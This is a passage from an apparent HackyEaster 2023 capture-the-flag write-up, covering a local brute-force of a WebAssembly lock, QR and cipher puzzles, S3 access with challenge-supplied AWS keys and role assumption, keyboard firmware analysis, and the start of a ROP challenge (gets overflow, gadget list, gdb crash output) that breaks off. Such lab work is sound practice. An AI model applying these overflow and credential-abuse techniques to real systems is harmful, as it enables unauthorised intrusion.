    $2(HEAP32[($3_1 + 12 | 0) >> 2] | 0 | 0);
    break label$1;
   }
   HEAP32[($3_1 + 8 | 0) >> 2] = HEAP32[(HEAP32[($3_1 + 12 | 0) >> 2] | 0) >> 2] | 0;
   label$3 : {
    label$4 : {
     if (!((HEAP32[((HEAP32[($3_1 + 12 | 0) >> 2] | 0) + 4 | 0) >> 2] | 0 | 0) == ((HEAP32[($3_1 + 8 | 0) >> 2] | 0) + 7 | 0 | 0) & 1 | 0)) {
      break label$4
     }
     HEAP32[($3_1 + 8 | 0) >> 2] = HEAP32[((HEAP32[($3_1 + 12 | 0) >> 2] | 0) + 4 | 0) >> 2] | 0;
     label$5 : {
      if (!((HEAP32[((HEAP32[($3_1 + 12 | 0) >> 2] | 0) + 8 | 0) >> 2] | 0 | 0) != ((HEAP32[($3_1 + 8 | 0) >> 2] | 0) - 3 | 0 | 0) & 1 | 0)) {
       break label$5
      }
      $2(HEAP32[($3_1 + 12 | 0) >> 2] | 0 | 0);
      break label$1;
     }
     HEAP32[($3_1 + 8 | 0) >> 2] = HEAP32[((HEAP32[($3_1 + 12 | 0) >> 2] | 0) + 8 | 0) >> 2] | 0;
     label$6 : {
      if (!((HEAP32[((HEAP32[($3_1 + 12 | 0) >> 2] | 0) + 12 | 0) >> 2] | 0 | 0) == (HEAP32[($3_1 + 8 | 0) >> 2] | 0 | 0) & 1 | 0)) {
       break label$6
      }
      label$7 : {
       if (!((HEAP32[((HEAP32[($3_1 + 12 | 0) >> 2] | 0) + 16 | 0) >> 2] | 0 | 0) == ((HEAP32[($3_1 + 8 | 0) >> 2] | 0) - 6 | 0 | 0) & 1 | 0)) {
        break label$7
       }
       label$8 : {
        if (!((HEAP32[((HEAP32[($3_1 + 12 | 0) >> 2] | 0) + 20 | 0) >> 2] | 0 | 0) == ((HEAP32[($3_1 + 8 | 0) >> 2] | 0) - 5 | 0 | 0) & 1 | 0)) {
         break label$8
        }
        if (!((HEAP32[((HEAP32[($3_1 + 12 | 0) >> 2] | 0) + 24 | 0) >> 2] | 0 | 0) == ((HEAP32[($3_1 + 8 | 0) >> 2] | 0) - 2 | 0 | 0) & 1 | 0)) {
         break label$8
        }
        if (!((HEAP32[((HEAP32[($3_1 + 12 | 0) >> 2] | 0) + 28 | 0) >> 2] | 0 | 0) == ((HEAP32[($3_1 + 8 | 0) >> 2] | 0) - 1 | 0 | 0) & 1 | 0)) {
         break label$8
        }
        $1(HEAP32[($3_1 + 12 | 0) >> 2] | 0 | 0);
        break label$1;
       }
      }
     }
     break label$3;
    }
    $2(HEAP32[($3_1 + 12 | 0) >> 2] | 0 | 0);
    break label$1;
   }
   $2(HEAP32[($3_1 + 12 | 0) >> 2] | 0 | 0);
  }
  global$0 = $3_1 + 16 | 0;
  return;
 }

 function $4() {
  return global$0 | 0;
 }

 function $5($0) {
  $0 = $0 | 0;
  global$0 = $0;
 }

 function $6($0) {
  $0 = $0 | 0;
  var $1_1 = 0;
  $1_1 = (global$0 - $0 | 0) & -16 | 0;
  global$0 = $1_1;
  return $1_1 | 0;
 }

 function $7() {
  global$2 = 5244240;
  global$1 = (1356 + 15 | 0) & -16 | 0;
 }

 function $8() {
  return global$0 - global$1 | 0 | 0;
 }

 function $9() {
  return global$2 | 0;
 }

 function $10() {
  return global$1 | 0;
 }

 function $11() {
  return 1352 | 0;
 }

 bufferView = HEAPU8;
 initActiveSegments(env);
 var FUNCTION_TABLE = Table([]);
 function __wasm_memory_size() {
  return buffer.byteLength / 65536 | 0;
 }

 return {
  "memory": Object.create(Object.prototype, {
   "grow": {

   },
   "buffer": {
    "get": function () {
     return buffer;
    }

   }
  }),
  "check": $3,
  "__indirect_function_table": FUNCTION_TABLE,
  "__errno_location": $11,
  "emscripten_stack_init": $7,
  "emscripten_stack_get_free": $8,
  "emscripten_stack_get_base": $9,
  "emscripten_stack_get_end": $10,
  "stackSave": $4,
  "stackRestore": $5,
  "stackAlloc": $6
 };
}

var retasmFunc = asmFunc(  { abort: function() { throw new Error('abort'); }
  });
export var memory = retasmFunc.memory;
export var check = retasmFunc.check;
export var __errno_location = retasmFunc.__errno_location;
export var emscripten_stack_init = retasmFunc.emscripten_stack_init;
export var emscripten_stack_get_free = retasmFunc.emscripten_stack_get_free;
export var emscripten_stack_get_base = retasmFunc.emscripten_stack_get_base;
export var emscripten_stack_get_end = retasmFunc.emscripten_stack_get_end;
export var stackSave = retasmFunc.stackSave;
export var stackRestore = retasmFunc.stackRestore;
export var stackAlloc = retasmFunc.stackAlloc;

This bit looks promising:

1
2
3
4
5
6
$ echo WAAAAFQAAAAGAAAABQAAAAAAAAAKAAAATQAAAEEAAAADAAAAUwAAAAAAAAAAAAAABwAAAAoAAABbAAAADgAAAAEAAABIAAAAawAAAAQAAAAHAAAAZgAAAHAAAABjAAAAfgAAAEwAAAAAAAAAAAAAAFgAAABUAAAABgAAAAUAAAAAAAAACgAAAE0AAABBAAAAAwAAAFMAAAAAAAAAAAAAAAcAAAAKAAAAWwAAAA4AAAABAAAASAAAAGsAAAAEAAAABwAAAGYAAABwAAAAYwAAAH4AAABMAAAAAAAAAAAAAABZAAAAbwAAAHUAAAAgAAAAZAAAAGkAAABkAAAAIAAAAG4AAABvAAAAdAAAACAAAABvAAAAcAAAAGUAAABuAAAAIAAAAHQAAABoAAAAZQAAACAAAABsAAAAbwAAAGMAAABrAAAAIQAAAA== | base64 -d
XT
MAS
[Hkfpc~LXT
MAS
[Hkfpc~LYou did not open the lock!%

but it’s not, yet.

Ok, let’s change gears, since we cannot reverse the wasm code. An 8 digit code is within bruteforcing range. But we don’t want to bruteforce the server, so can we do it locally?

We tried a bunch of ways to execute the wasm binary locally, but what ended up being easiest was using Chrome. In Developer tools you can use local overrides (instructions), so we can adapt the main.js to bruteforce the code for us.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
[..]

function bruteforce(){
  for (let i = 10000000; i< 999999999; i++){  // let's hope the code doesnt start with 0 so we dont have to figure out leftpadding
    if(i%10000000 == 0){
      console.log("checking codes starting with "+i/10000000);
    }
    msg=checkWASM(i.toString());
    if(msg.startsWith("he2023")) {
      console.log(code+": "+msg);
      return;
    }
  }
}

$(document).ready(function () {
    (async () => {
        const response = await fetch("check.wasm");
        const file = await response.arrayBuffer();
        const wasm = await WebAssembly.instantiate(file);
        const {memory, check} = wasm.instance.exports;
        wasmMemory = memory;
        wasmCheck = check;

        //bruteforce the code
        console.log("bruteforcing");
        bruteforce();
    })();

})

and keep an eye on our console, and after about 10 seconds we get our flag!

1
2
3
4
5
6
main.js:99 bruteforcing
main.js:32 searching..
main.js:35 chacking codes starting with 0
main.js:35 chacking codes starting with 1
main.js:35 chacking codes starting with 2
main.js:46 29660145: he2023{w3b4553m81y_15_FUN}

whoo!

Flag

he2023{w3b4553m81y_15_FUN}

Quilt

Challenge

A warm, sunny day - perfect weather for a picnic! But what’s that - did the bunnies really bring the nice quilt from the living room as a blanket?

Solution

First, split the quilt up into individual QR codes:

1
convert quilt.png -crop 69x69 +repage +adjoin 'quilt-%03d.png'

Let’s read them all, it can’t be this easy right?

1
for i in quilt-*; do zbarimg $i 2>/dev/null| grep QR-Code | sed 's/QR-Code://g' >> quilt.txt; done

But maybe it is?

1
cat quilt.txt | tr -d '\n'

which results in:

Hello! Do you love quilts? Well… I am pretty sure I do! They are so pretty.. my oh my, but look at me getting lost in idle thoughts! You are here for an egg, right? I bet you are. Where did I put it? Ah, here he2023{this_is_th… No, sorry, that is not it. That was an old one, can you believe it? This maybe? he2023{I_need_this_egg_for_breakfast}. Nooo.. sorry! But I am fairly sure this is it, right here he2023{Qu1lt1ng_is_quit3_relaxing!} Yeah, that should be it. Sorry. I am rambling, but it is so nice to have a visitor appreciating my quilts! They are a lot of work, and I love all of them. Please, do not leave so soon. How about a cookie? Would you like a cookie? Hey, where are you going?

And the third one is it.

Flag

he2023{Qu1lt1ng_is_quit3_relaxing!}

Cats in the Bucket

Challenge

There is a bucket full of cat images. One of them contains a flag. Go get it!

1
2
3
Bucket: cats-in-a-bucket
Access Key ID: AKIATZ2X44NMCEQW46PL
Secret Access Key: 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

Solution

We got a bucket name, so try a region:

When we visit http://cats-in-a-bucket.s3-website-eu-west-1.amazonaws.com/ we get the message

1
2
3
4
5
6
7
8
400 Bad Request

- Code: IncorrectEndpoint
- Message: The specified bucket exists in another region. Please direct requests to the specified endpoint.
- Endpoint: cats-in-a-bucket.s3-website.eu-central-1.amazonaws.com
- RequestId: FB490WD7T4HGKGVW
- HostId: 6O/1HC9Rkpbz7CTt0N9LdLU8HBDG4r+soXelEScHgHp+opFS5f+hrlJEFUEJdDlTJwu8gLhCK9U=

ok so we go to cats-in-a-bucket.s3-website.eu-central-1.amazonaws.com, and here we see

1
2
3
4
5
6
7
404 Not Found

- Code: NoSuchWebsiteConfiguration
- Message: The specified bucket does not have a website configuration
- BucketName: cats-in-a-bucket
- RequestId: PM3VWVHPJF5P9JKR
- HostId: jOkYruD+efHf1nGXz/NehA/fVQxgqYrbm8c+Ia/4nl+fAnhO8ldZK40Z6WJM/1BYRL/RU8ymw58=

so there is no website, but we got the right bucket, now what? We have the access keys

we use awscli for further exploration:

1
2
3
$ aws s3 ls s3://cats-in-a-bucket

An error occurred (AccessDenied) when calling the ListObjectsV2 operation: Access Denied

ok, let’s set up our credentials

1
2
3
4
5
$ aws configure
AWS Access Key ID [****************UWDA]: AKIATZ2X44NMCEQW46PL
AWS Secret Access Key [****************8Kup]: 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
Default region name [us-east-1]: eu-central-1
Default output format [None]:

and try again:

1
2
3
4
5
6
$ aws s3 ls s3://cats-in-a-bucket
2022-10-09 17:23:46      83709 cat1.jpg
2022-10-09 17:23:48      92350 cat2.jpg
2022-10-09 17:23:47     119214 cat3.jpg
2022-10-09 17:23:47      87112 cat4.jpg

ok, let’s download those files:

1
2
3
4
5
6
7
8
$ aws s3 cp s3://cats-in-a-bucket/cat1.jpg .
download: s3://cats-in-a-bucket/cat1.jpg to ./cat1.jpg
$ aws s3 cp s3://cats-in-a-bucket/cat2.jpg .
download: s3://cats-in-a-bucket/cat2.jpg to ./cat2.jpg
$ aws s3 cp s3://cats-in-a-bucket/cat3.jpg .
download: s3://cats-in-a-bucket/cat3.jpg to ./cat3.jpg
$ aws s3 cp s3://cats-in-a-bucket/cat4.jpg .
fatal error: An error occurred (403) when calling the HeadObject operation: Forbidden

We get 3 very cute cat pictures

but an error on the fourth image, hmm..

maybe an older version didnt have the restriction?

1
2
3
$ aws s3api list-object-versions --bucket cats-in-a-bucket

An error occurred (AccessDenied) when calling the ListObjectVersions operation: Access Denied

ok, let’s look at the policies that are set

1
$ aws s3api get-bucket-policy --bucket cats-in-a-bucket
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
{
  "Statement": [
    {
      "Action": [
        "s3:ListBucket",
        "s3:GetBucketPolicy"
      ],
      "Effect": "Allow",
      "Principal": {
        "AWS": "arn:aws:iam::261640479576:user/misterbuttons"
      },
      "Resource": "arn:aws:s3:::cats-in-a-bucket"
    },
    {
      "Action": "s3:GetObject",
      "Effect": "Allow",
      "Principal": {
        "AWS": "arn:aws:iam::261640479576:user/misterbuttons"
      },
      "Resource": [
        "arn:aws:s3:::cats-in-a-bucket/cat1.jpg",
        "arn:aws:s3:::cats-in-a-bucket/cat2.jpg",
        "arn:aws:s3:::cats-in-a-bucket/cat3.jpg"
      ]
    },
    {
      "Action": "s3:ListBucket",
      "Effect": "Allow",
      "Principal": {
        "AWS": "arn:aws:iam::261640479576:role/captainclaw"
      },
      "Resource": "arn:aws:s3:::cats-in-a-bucket"
    },
    {
      "Action": "s3:GetObject",
      "Effect": "Allow",
      "Principal": {
        "AWS": "arn:aws:iam::261640479576:role/captainclaw"
      },
      "Resource": "arn:aws:s3:::cats-in-a-bucket/cat4.jpg"
    }
  ],
  "Version": "2008-10-17"
}

ok, so cat4.jpg is only accessible for the captainclaw role. Let’s set that up:

in ~/.aws/config we set:

1
2
3
4
5
6
[default]
region = eu-central-1

[profile cat]
role_arn = arn:aws:iam::261640479576:role/captainclaw
source_profile = default

and try downloading again:

1
2
$ aws s3 cp --profile cat s3://cats-in-a-bucket/cat4.jpg .
download: s3://cats-in-a-bucket/cat4.jpg to ./cat4.jpg

whoo, success!

Flag

he2023{r013_assum3d_succ3ssfuLLy}

Tom's Diary

Challenge

Tom found a flag and wrote something about it in his diary.

Can you get the flag?

diary.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// // // // // // // // // // // // // // // // // // // // // //
// // // // // // // // // // // // // // // // // // // // // //

Tom's Diary

\/\ \\\/ / \/\ /\\ /\ \/\ //\ /\/ /\// //\/ /\// /\/ //\ /\\\ \\/\
\/\ \\\/ / \/\ /\\ /\ \/\ //\ /\/ /\// //\/ /\// /\/ //\ /\\\ \\/\

Dear diary,

today I found a secret flag.

I need to keep it safe here:

UEsDBAoACQAAAJJEK1X6oNHsKgAAAB4AAAAIABwAZmxhZy50eHRVVAkAA/OBHWOR
gR1jdXgLAAEE9QEAAAQUAAAArGnVXoZRCLYaWU8HFSFo+dWfh2yfPa868sNqxTVP
xqHrGTs3dIVbxR9WUEsHCPqg0ewqAAAAHgAAAFBLAQIeAwoACQAAAJJEK1X6oNHs
KgAAAB4AAAAIABgAAAAAAAEAAACkgQAAAABmbGFnLnR4dFVUBQAD84EdY3V4CwAB
BPUBAAAEFAAAAFBLBQYAAAAAAQABAE4AAAB8AAAAAAA=

\\ \\ \\ \\ \\ \\ \\ \\ \\ \\ \\ \\ \\ \\ \\ \\ \\ \\ \\ \\ \\ \\
\\ \\ \\ \\ \\ \\ \\ \\ \\ \\ \\ \\ \\ \\ \\ \\ \\ \\ \\ \\ \\ \\

Hint: Neither brute force nor word lists are necessary.

Solution

Let’s see what is in this base64 string:

1
2
3
4
5
6
$ echo "UEsDBAoACQAAAJJEK1X6oNHsKgAAAB4AAAAIABwAZmxhZy50eHRVVAkAA/OBHWORgR1jdXgLAAEE9QEAAAQUAAAArGnVXoZRCLYaWU8HFSFo+dWfh2yfPa868sNqxTVPxqHrGTs3dIVbxR9WUEsHCPqg0ewqAAAAHgAAAFBLAQIeAwoACQAAAJJEK1X6oNHsKgAAAB4AAAAIABgAAAAAAAEAAACkgQAAAABmbGFnLnR4dFVUBQAD84EdY3V4CwABBPUBAAAEFAAAAFBLBQYAAAAAAQABAE4AAAB8AAAAAAA=" | base64 -d

PK
        D+Uflag.txtUT   ccux
                            i^YO!h՟l=:j5Oơ;7t[VP*PK
        D+Uflag.txtUTcux

That looks like a zip file, let’s output it to a file

1
$ echo "UEsDBAoACQAAAJJEK1X6oNHsKgAAAB4AAAAIABwAZmxhZy50eHRVVAkAA/OBHWORgR1jdXgLAAEE9QEAAAQUAAAArGnVXoZRCLYaWU8HFSFo+dWfh2yfPa868sNqxTVPxqHrGTs3dIVbxR9WUEsHCPqg0ewqAAAAHgAAAFBLAQIeAwoACQAAAJJEK1X6oNHsKgAAAB4AAAAIABgAAAAAAAEAAACkgQAAAABmbGFnLnR4dFVUBQAD84EdY3V4CwABBPUBAAAEFAAAAFBLBQYAAAAAAQABAE4AAAB8AAAAAAA=" | base64 -d > diary.zip

let’s try to unzip it:

1
2
3
$ unzip diary.zip
Archive:  diary.zip
[diary.zip] flag.txt password:

ok it needs a password, hmm..

the hint tells us we don’t need brute force or a wordlist, so we must be able to find the password somewhere.

We google the line of slashes that’s in the diary file

1
\/\ \\\/ / \/\ /\\ /\ \/\ //\ /\/ /\// //\/ /\// /\/ //\ /\\\ \\/\

And find that this could be Tom Tom Code, well that certainly fits with the challenge title. We decode it on dcode.fr and find it translates to

1
slashesforprofit

We enter this as the password for the zip file and get our flag!

Flag

he2023{sl4sh3s_m4k3_m3_h4ppy}

Custom Keyboard

Challenge

Thumper built his first custom keyboard. He chose all the parts separately and in the end even adjusted the firmware.

Apparently, there’s a flag hidden inside it. Can you find it?

custom_keyboard.elf

🚩 Flag

  • lowercase and _ only
  • example: he2023{example_flag_only}

Solution

1
2
$ file custom_keyboard.elf
custom_keyboard.elf: ELF 32-bit LSB executable, Atmel AVR 8-bit, version 1 (SYSV), statically linked, with debug_info, not stripped

is we run strings on the file, we find the string /home/hacker/qmk_firmware ..

so we suspect this is Quantum Mechanical Keyboard firmware

1
2
3
4
5
6
$ objdump -dS custom_keyboard.elf

custom_keyboard.elf:     file format elf32-little

objdump: can't disassemble for architecture UNKNOWN!

So we find a useful Docker container containing binutils and gdb for various architectures (here)

and inside this docker we can run commands like objdump for our file, and find:

1
2
3
4
5
6
7
$ avr-elf-objdump custom_keyboard.elf -dS --section=.data

[..]
00800216 <flag_leds.8>:
  800216:       22 18 0b 03 0b 0a 10 1f 18 25 26 02 1f 13 23 22     "........%&...#"
  800226:       16 02 16 22 18 02 19 27 15 0f                       ..."...'..
[..]

which looks kindof suspicious .. are these codes for keys on the keyboard?

.. this definitely fits with being the flag, 22 18 0b 03 0b 0a would be he2023, and the 2s are the same code, 3 is one differnce with 2, etc (interestingly 3 is lower code than 2, the difference between our supposed h and e is not their difference in ASCII but, still this seems like the flag, just need to figure out the encoding

so the theory is that the flag is something like:

1
2
22 18 0b 03 0b 0a 10 1f 18 25 26 02 1f 13 23 22 16 02 16 22 18 02 19 27 15 0f
 h  e  2  0  2  3  {     e                    h           h  e              }

so what if this isn’t ascii based encoding, but keyboard based, 2 and 3 are one apart on the keyboard too (if you list them by row), let’s see if we can get this to work for the rest of the keys/letters..

We just make a list of codes, fill in what we (think we) know to be the mapping, and find out that we can fill in the missing mappings based on how each row on a qwerty keyboard is laid out! codes seem to correspond with keys row by row from top to bottom, with each row listed rom right to left:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
00 BACKSPACE
01 +
02 _
03 0 // known
04 9
05 8
06 7
07 6
08 5
09 4
0a 3 // known
0b 2 // known
0c 1
0d `
0e ENTER (?)
0f {  // known
10 }  // known
11 p
12 o
13 i  // used
14 u
15 y  // used
16 t  // used
17 r
18 e  // known
19 w  // used
1a q
1b TAB
1c |
1d "
1e ;
1f l // used
20 k
21 j
22 h // known
23 g // used
24 f
25 d // used
26 s // used
27 a // used
28 CAPS
29
..
[ bottom row of keyboard, but not used in flag so we don't write it out]
..

Filling in the letters based on this pattern gets us the flag!!

1
2
22 18 0b 03 0b 0a 10 1f 18 25 26 02 1f 13 23 22 16 02 16 22 18 02 19 27 15 0f
 h  e  2  0  2  3  {  l  e  d  s  _  l  i  g   h  t _  t  h  e  _  w  a  y  }

Whoo!

I really thought this was going to be the end of my HackyEaster journey here, had everything solved besides this one and the other hard challenge of this level, which were both binary/pwn challenges which is not my strong suit, and needed to solve at least on of them to advance to the next level, but here we are! Wonder if there was a nicer/better way to get there, but some guesswork and pattern recognition got me there I guess.

Flag

he2023{leds_light_the_way}

Thumper's PWN 2

Challenge

Thumper got one step closer to Dr. Evil but there’s still a lot he has to learn. That’s why he’s practicing the ancient art of ROP. Help him solve this challenge by reading the file FLAG, so he can be on his way.

Target: nc ch.hackyeaster.com 2314

Note: The service is restarted every hour at x:00.

thumperspwn2.zip

Solution

We get a main.c file:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <stdio.h>
#include <unistd.h>
#include <stdbool.h>

#include "seccomp-bpf.h"

bool sec_done = false;

void activate_seccomp()
{
    struct sock_filter filter[] = {
        VALIDATE_ARCHITECTURE,
        EXAMINE_SYSCALL,

        ALLOW_SYSCALL(mprotect),
        ALLOW_SYSCALL(mmap),
        ALLOW_SYSCALL(munmap),
        ALLOW_SYSCALL(exit_group),
        ALLOW_SYSCALL(read),
        ALLOW_SYSCALL(write),
        ALLOW_SYSCALL(open),
        ALLOW_SYSCALL(close),
        ALLOW_SYSCALL(openat),
        ALLOW_SYSCALL(brk),
        ALLOW_SYSCALL(newfstatat),
        ALLOW_SYSCALL(fstat),
        ALLOW_SYSCALL(ioctl),
        ALLOW_SYSCALL(lseek),
        KILL_PROCESS,
    };

    struct sock_fprog prog = {
        .len = (unsigned short)(sizeof(filter) / sizeof(struct sock_filter)),
        .filter = filter,
    };

    prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0);
    prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog);
    sec_done = true;
}

void vuln() {
  char buf[32];
  printf("Are you a master of ROP?\n");
  printf("Show me what you can do: ");
  gets(buf);
}

void main() {
  setbuf(stdout, NULL);
  setbuf(stdin, NULL);

  if (!sec_done) {
    activate_seccomp();
  }

  vuln();
}

When googling, one can find pretty much pre-composed ROP exploits to read a file named ‘flag’ (32 bit), we just need to know how to adapt it to our situation. Additionally this article is quite instructive (and leads to python at the end)

We can then combine this, hopefully with ROPgadget to find apporpriate gadgets:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
user@p-ctf:~/Downloads/thumperspwn2$ ropgadget --binary main --only "pop|ret"
Gadgets information
============================================================
0x00000000004007fc : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004007fe : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400800 : pop r14 ; pop r15 ; ret
0x0000000000400802 : pop r15 ; ret
0x00000000004007fb : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004007ff : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400608 : pop rbp ; ret
0x0000000000400803 : pop rdi ; ret
0x0000000000400801 : pop rsi ; pop r15 ; ret
0x00000000004007fd : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400536 : ret
0x0000000000400542 : ret 0x200a
0x00000000004006f2 : ret 0x2be

Unique gadgets found: 13

sas

good reading: https://devel0pment.de/?p=2282

We unzip the file and find an executable called main

When we execute it, we are asked to provide an input, an not much seems to happen after that:

1
2
3
 ./main
Are you a master of ROP?
Show me what you can do: Hello World

Let’s see what happens if we give it a long string:

1
2
3
4
$ ./main
Are you a master of ROP?
Show me what you can do: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
[1]    266408 segmentation fault (core dumped)  ./main

We experiment a bit more, and see that if we give it 40 characters we get

1
2
3
4
$ ./main
Are you a master of ROP?
Show me what you can do: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
[1]    266372 invalid system call (core dumped)  ./main

invalid system call, interesting.

Let’s look at the binary more closely:

1
2
$ file main
main: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=f60bf91ea714b5e0970b4f71f112d78ae4515b9e, not stripped

We examine it with Radare2:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
$ r2 -A main
INFO: Analyze all flags starting with sym. and entry0 (aa)
INFO: Analyze all functions arguments/locals (afva@@@F)
INFO: Analyze function calls (aac)
INFO: Analyze len bytes of instructions for references (aar)
INFO: Finding and parsing C++ vtables (avrr)
INFO: Type matching analysis for all functions (aaft)
INFO: Propagate noreturn information (aanr)
INFO: Use -AA or aaaa to perform additional experimental analysis
 -- Bindiff two files with '$ radiff2 /bin/true /bin/false'
[0x004005a0]> iI
arch     x86
baddr    0x400000
binsz    6766
bintype  elf
bits     64
canary   false
class    ELF64
compiler GCC: (Ubuntu 7.5.0-3ubuntu1~18.04) 7.5.0
crypto   false
endian   little
havecode true
intrp    /lib64/ld-linux-x86-64.so.2
laddr    0x0
lang     c
linenum  true
lsyms    true
machine  AMD x86-64 architecture
nx       true
os       linux
pic      false
relocs   true
relro    partial
rpath    NONE
sanitize false
static   false
stripped false
subsys   linux
va       true

So it is a 64-bit ELF binary, which is dynamically linked, not stripped, without stack canaries, nx enabled, no pic and partial relro

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
[0x004005a0]> afl
0x004005a0    1     42 entry0
0x004005e0    4     37 sym.deregister_tm_clones
0x00400610    4     55 sym.register_tm_clones
0x00400650    3     29 sym.__do_global_dtors_aux
0x00400680    1      7 sym.frame_dummy
0x00400810    1      2 sym.__libc_csu_fini
0x00400711    1     57 sym.vuln
0x00400550    1      6 sym.imp.puts
0x00400570    1      6 sym.imp.printf
0x00400590    1      6 sym.imp.gets
0x00400814    1      9 sym._fini
0x00400687    1    138 sym.activate_seccomp
0x00400580    1      6 sym.imp.prctl
0x004007a0    4    101 sym.__libc_csu_init
0x004005d0    1      2 sym._dl_relocate_static_pie
0x0040074a    3     81 main
0x00400560    1      6 sym.imp.setbuf
0x00400520    3     23 sym._init

and a vuln function

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
0x004005a0]> pdf @ sym.vuln
            ; CALL XREF from main @ 0x400793(x)
┌ 57: sym.vuln ();
│           ; var char *s @ rbp-0x20
│           0x00400711      55             push rbp
│           0x00400712      4889e5         mov rbp, rsp
│           0x00400715      4883ec20       sub rsp, 0x20
│           0x00400719      488d3d280200.  lea rdi, str.Are_you_a_master_of_ROP_ ; 0x400948 ; "Are you a master of ROP?" ; const char *s
│           0x00400720      e82bfeffff     call sym.imp.puts           ; int puts(const char *s)
│           0x00400725      488d3d350200.  lea rdi, str.Show_me_what_you_can_do:_ ; 0x400961 ; "Show me what you can do: " ; const char *format
│           0x0040072c      b800000000     mov eax, 0
│           0x00400731      e83afeffff     call sym.imp.printf         ; int printf(const char *format)
│           0x00400736      488d45e0       lea rax, [s]
│           0x0040073a      4889c7         mov rdi, rax                ; char *s
│           0x0040073d      b800000000     mov eax, 0
│           0x00400742      e849feffff     call sym.imp.gets           ; char *gets(char *s)
│           0x00400747      90             nop
│           0x00400748      c9             leave
└           0x00400749      c3             ret

here the unsafe gets function is used, where we simply get to provide our input and the function return

We examine it with gdb-peda

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ gdb ./main
GNU gdb (Ubuntu 12.1-0ubuntu1~22.04) 12.1
Copyright (C) 2022 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./main...
(No debugging symbols found in ./main)

create pattern

1
2
gdb-peda$ pattern_create 200 ./pattern
Writing pattern of 200 chars to filename "./pattern"

run with pattern

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
gdb-peda$ r < ./pattern                                                                                                                                                            [35/1770]
Starting program: /home/saskia/code/github/shiltemann/CTF-writeups-galaxians/website/writeups/HackyEaster_2023/writeupfiles/thumper2/main < ./pattern
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Are you a master of ROP?
Show me what you can do:
Program received signal SIGSEGV, Segmentation fault.
Warning: 'set logging off', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled off'.

Warning: 'set logging on', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled on'.
[----------------------------------registers-----------------------------------]
RAX: 0x7fffffffdd20 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAAr
AAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
RBX: 0x0
RCX: 0x7ffff7e19aa0 --> 0xfbad209b
RDX: 0x1
RSI: 0x1
RDI: 0x7ffff7e1ba80 --> 0x0
RBP: 0x6141414541412941 ('A)AAEAAa')
RSP: 0x7fffffffdd48 ("AA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
RIP: 0x400749 (<vuln+56>:       ret)
R8 : 0x0
R9 : 0x0
R10: 0x7ffff7c09c78 --> 0xf0022000043b3
R11: 0x246
R12: 0x7fffffffde68 --> 0x7fffffffe261 ("/home/saskia/code/github/shiltemann/CTF-writeups-galaxians/website/writeups/HackyEaster_2023/writeupfiles/thumper2/main")
R13: 0x40074a (<main>:  push   rbp)
R14: 0x0
R15: 0x7ffff7ffd040 --> 0x7ffff7ffe2e0 --> 0x0
